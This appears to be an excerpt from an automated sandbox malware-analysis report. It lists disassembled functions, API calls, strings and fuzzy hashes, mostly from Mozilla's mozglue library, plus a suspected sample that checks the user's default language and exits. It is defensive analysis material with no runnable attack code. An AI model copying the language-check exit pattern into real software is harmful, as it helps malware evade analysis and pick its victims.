Instruction ID: b5b569396d25f50186648b9f9ee7f15f9c39392622f38881e5f4dd9293fdb91e
Opcode Fuzzy Hash: 7c68812b0be8c50d38381026342d64a342c19c0e079a1848cb2021321e276558
Instruction Fuzzy Hash: A331C871B412055FFB10AFE58D46B7E7AB5AB85718F304019F520AFBC0D771D5028B91

Function 6CE7ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE7F100: LoadLibraryW.KERNEL32(shell32,?,6CEED020), ref: 6CE7F122
Part of subcall function 6CE7F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CE7F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CE7ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CE7EDCC
CreateFileW.KERNEL32 ref: 6CE7EE08
free.MOZGLUE(00000000), ref: 6CE7EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CE7EE32

Part of subcall function 6CE7EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CE7EBB5
Part of subcall function 6CE7EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CEAD7F3), ref: 6CE7EBC3
Part of subcall function 6CE7EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CEAD7F3), ref: 6CE7EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CE7EDC1

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 50c28f5bac52184996f078c878d672ee7b8a4fb2de0484959739eeacb3c3b6b3
Instruction ID: ec855eed3eb8db761e3676eb628e2f102bede2cc1314532ae2f3651c94adc8c5
Opcode Fuzzy Hash: 50c28f5bac52184996f078c878d672ee7b8a4fb2de0484959739eeacb3c3b6b3
Instruction Fuzzy Hash: 6751DF71D057048FDB20DF68D9406EEB7B0EF5A31CF24892DE8556B780E7306949C7A2

Function 6CEEA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CEEA565

Part of subcall function 6CEEA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEEA4BE
Part of subcall function 6CEEA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CEEA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CEEA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CEEA6B6

Strings

z, xrefs: 6CEEA6AE
0, xrefs: 6CEEA5FB

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 1742bb816c1c8e86c6cbc06115ab12580479eb92c413bccbfec41bc40e1ec43c
Instruction ID: d65fd6f3d4c77fd5a70f869572febe8efae216e2afaaa3c9b40aaf392eabf2f8
Opcode Fuzzy Hash: 1742bb816c1c8e86c6cbc06115ab12580479eb92c413bccbfec41bc40e1ec43c
Instruction Fuzzy Hash: 804117719087459FC341DF28C480A9BBBF5BF8A358F508A2EF49987750EB30D549CB92

Function 6CEB9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CEAAB89: EnterCriticalSection.KERNEL32(6CEFE370,?,?,?,6CE734DE,6CEFF6CC,?,?,?,?,?,?,?,6CE73284), ref: 6CEAAB94
Part of subcall function 6CEAAB89: LeaveCriticalSection.KERNEL32(6CEFE370,?,6CE734DE,6CEFF6CC,?,?,?,?,?,?,?,6CE73284,?,?,6CE956F6), ref: 6CEAABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CE84A68), ref: 6CEB945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CEB9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CEB9482
__Init_thread_footer.LIBCMT ref: 6CEB949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CEB9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CEB946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CEB947D

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 95c42b342b32c1a8a110f17758f529ba0643cd76d44752f2fb516b90696ae8b7
Instruction ID: d0647012145806d327aded65cc5a1b2a80b2e4db6f1b6e51d151a4305e02338c
Opcode Fuzzy Hash: 95c42b342b32c1a8a110f17758f529ba0643cd76d44752f2fb516b90696ae8b7
Instruction Fuzzy Hash: 9F019C70B002408BD7109B9CED54A5933F49B8632CF340137DD2AC7B81D635E45BC95B

Function 00536770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00536774
ExitProcess.KERNEL32 ref: 005367A5
ExitProcess.KERNEL32 ref: 005367AF
ExitProcess.KERNEL32 ref: 005367B9
ExitProcess.KERNEL32 ref: 005367C3
ExitProcess.KERNEL32 ref: 005367CD

Strings

*, xrefs: 0053678C

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 5c7b14e57d63d5a90ddfd7ba3ba0bfbc439ea7b0a620366c82393dd9184f152d
Instruction ID: ca1af41fbbe35d903fd58c573f2004a416a168b1a45f76aeffb2f4e453df5ba4
Opcode Fuzzy Hash: 5c7b14e57d63d5a90ddfd7ba3ba0bfbc439ea7b0a620366c82393dd9184f152d
Instruction Fuzzy Hash: 56F05E3090430AFFD3449FE0E90972C7B70FB04703F088198E60AA6290D6B84B419F9A

Function 6CEEB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CEEB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CEEB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEEB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CEEB5F4
__Init_thread_footer.LIBCMT ref: 6CEEB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CEEB61F
std::_Facet_Register.LIBCPMT ref: 6CEEB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEEB655

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 7c4c659da63cb8616c2e346e4b2e09ef66efeb39b48f301c44069b8bf60ce382
Instruction ID: c38891d3ab9a5659d6b36a00001d8737b31d0f7d37bc29d11ecf8061ad380d24
Opcode Fuzzy Hash: 7c4c659da63cb8616c2e346e4b2e09ef66efeb39b48f301c44069b8bf60ce382
Instruction Fuzzy Hash: 50317471F002058BCB009F69D8586AE77B5FFCA354B240519D52697740DB36A806CBA6

Function 6CEB6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CEAFA80: GetCurrentThreadId.KERNEL32 ref: 6CEAFA8D
Part of subcall function 6CEAFA80: AcquireSRWLockExclusive.KERNEL32(6CEFF448), ref: 6CEAFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEB6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CEB67C8

Part of subcall function 6CEC4290: memcpy.VCRUNTIME140(?,?,6CED2003,6CED0AD9,?,6CED0AD9,00000000,?,6CED0AD9,?,00000004,?,6CED1A62,?,6CED2003,?), ref: 6CEC42C4

Strings

data, xrefs: 6CEB6593
vl, xrefs: 6CEB696C

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vl
API String ID: 511789754-1338584003
Opcode ID: aacafecebbc6249658ea679399fff833f91418215b677b4df5f9e3e75938d89b
Instruction ID: 254592225b9a492b17984fe4d4c711fc772680c485652aa6b9e3ce9e583b549f
Opcode Fuzzy Hash: aacafecebbc6249658ea679399fff833f91418215b677b4df5f9e3e75938d89b
Instruction Fuzzy Hash: 0BD1EF75A053408FD728CF24C951BAFB7F5AFC5308F20492DE59997B90EB31A909CB92

Function 6CEAD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CE7EB57,?,?,?,?,?,?,?,?,?), ref: 6CEAD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CE7EB57,?), ref: 6CEAD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CE7EB57,?), ref: 6CEAD673
free.MOZGLUE(?), ref: 6CEAD888

Strings

Wl, xrefs: 6CEAD5D9, 6CEAD63F
|Enabled, xrefs: 6CEAD81E

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wl$|Enabled
API String ID: 4142949111-4149612105
Opcode ID: ee735121dec9b88c053504d506e122c60243e87893930df1bb3a81ace8c95a53
Instruction ID: 741cf516d2a4932a4586c3039516ebfb21a83b0f70a6cefb7c58f2606249d6c7
Opcode Fuzzy Hash: ee735121dec9b88c053504d506e122c60243e87893930df1bb3a81ace8c95a53
Instruction Fuzzy Hash: B4A1E574A013448FDB15CFA9C4907EEBBF1AF49318F24805CD8996F741D735AA46CBA1

Function 6CEC1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEC1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CEC1BE3,?,?,6CEC1D96,00000000), ref: 6CEC1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CEC1BE3,?,?,6CEC1D96,00000000), ref: 6CEC1D4C
GetCurrentThreadId.KERNEL32 ref: 6CEC1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CEC1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEC1DDA

Part of subcall function 6CEC1EF0: GetCurrentThreadId.KERNEL32 ref: 6CEC1F03
Part of subcall function 6CEC1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CEC1DF2,00000000,00000000), ref: 6CEC1F0C
Part of subcall function 6CEC1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CEC1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CEC1DF4

Part of subcall function 6CE8CA10: malloc.MOZGLUE(?), ref: 6CE8CA26

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 8302eb501ede875c6581e62a84b1589f3ac4b576caddfebc646433f3b265e067
Instruction ID: cb5bf1f89310e04268882279e56dbea6ed58af2d881d23abc9b5a84e888c9c21
Opcode Fuzzy Hash: 8302eb501ede875c6581e62a84b1589f3ac4b576caddfebc646433f3b265e067
Instruction Fuzzy Hash: 1C4168B56007049FCB10DF68D588B56BBF9FB89318F20446EE96A87B41CB71E814CB91

Function 6CEB84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CEB84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CEB850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CEB851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CEB855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CEB856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CEB85AC

Part of subcall function 6CEB7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CEB85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CEB767F
Part of subcall function 6CEB7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CEB85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CEB7693
Part of subcall function 6CEB7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CEB85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CEB76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CEB85B2

Part of subcall function 6CE95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CE95EDB
Part of subcall function 6CE95E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CE95F27
Part of subcall function 6CE95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CE95FB2

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: c27e4547cac4a2c66c625096e41394c71b1263246acfcd2ee825b4fdcdef4134
Instruction ID: 918ba72023122aa41dee5cf87708a7c806d27fa41e508c3fb40baf4cb1c83b58
Opcode Fuzzy Hash: c27e4547cac4a2c66c625096e41394c71b1263246acfcd2ee825b4fdcdef4134
Instruction Fuzzy Hash: B1218D743016028FDB24DB24D988A6AB7B5BF8430DF34082DE55B93B41DB31F949CB51

Function 6CEBF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEACBE8: GetCurrentProcess.KERNEL32(?,6CE731A7), ref: 6CEACBF1
Part of subcall function 6CEACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE731A7), ref: 6CEACBFA

Part of subcall function 6CEB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CE84A68), ref: 6CEB945E
Part of subcall function 6CEB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CEB9470
Part of subcall function 6CEB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CEB9482
Part of subcall function 6CEB9420: __Init_thread_footer.LIBCMT ref: 6CEB949F

GetCurrentThreadId.KERNEL32 ref: 6CEBF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CEBF598), ref: 6CEBF621

Part of subcall function 6CEB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CEB94EE
Part of subcall function 6CEB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CEB9508

GetCurrentThreadId.KERNEL32 ref: 6CEBF637
AcquireSRWLockExclusive.KERNEL32(6CEFF4B8,?,?,00000000,?,6CEBF598), ref: 6CEBF645
ReleaseSRWLockExclusive.KERNEL32(6CEFF4B8,?,?,00000000,?,6CEBF598), ref: 6CEBF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CEBF62A

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: a9cd8bba0b363ef98393427350d964ee7728a9f2f2c50e6cebd7da5d890ce145
Instruction ID: 77b32d81725d6c7a1b1c3a4b9d40adde0563af97f59f475a061963eec4a869c8
Opcode Fuzzy Hash: a9cd8bba0b363ef98393427350d964ee7728a9f2f2c50e6cebd7da5d890ce145
Instruction Fuzzy Hash: 3F110D39701205AFC7049F58EA44DE577B9FFC635CB200015EA1597F41CB76AC11CBA0

Function 005392E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:S,80000000,00000003,00000000,00000003,00000080,00000000,?,00533AEE,?), ref: 005392FC
GetFileSizeEx.KERNEL32(000000FF,:S), ref: 00539319
CloseHandle.KERNEL32(000000FF), ref: 00539327

Strings

:S, xrefs: 00539311, 0053933D, 00539314
:S, xrefs: 005392F8, 005392FB

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :S$:S
API String ID: 1378416451-1984518138
Opcode ID: e3da8dea96df9764e10d520508190f8b8172e91d01ee48ec97a72d96ca44e81c
Instruction ID: 7b3111305f227f90573a43054e00242234df0b0dc19f0a4fb591813bcecbcbff
Opcode Fuzzy Hash: e3da8dea96df9764e10d520508190f8b8172e91d01ee48ec97a72d96ca44e81c
Instruction Fuzzy Hash: 25F03CB5E44308BBDB10DBB4DC49B9E7BB9FB48710F10CA54F652A72C0D6B496018F45

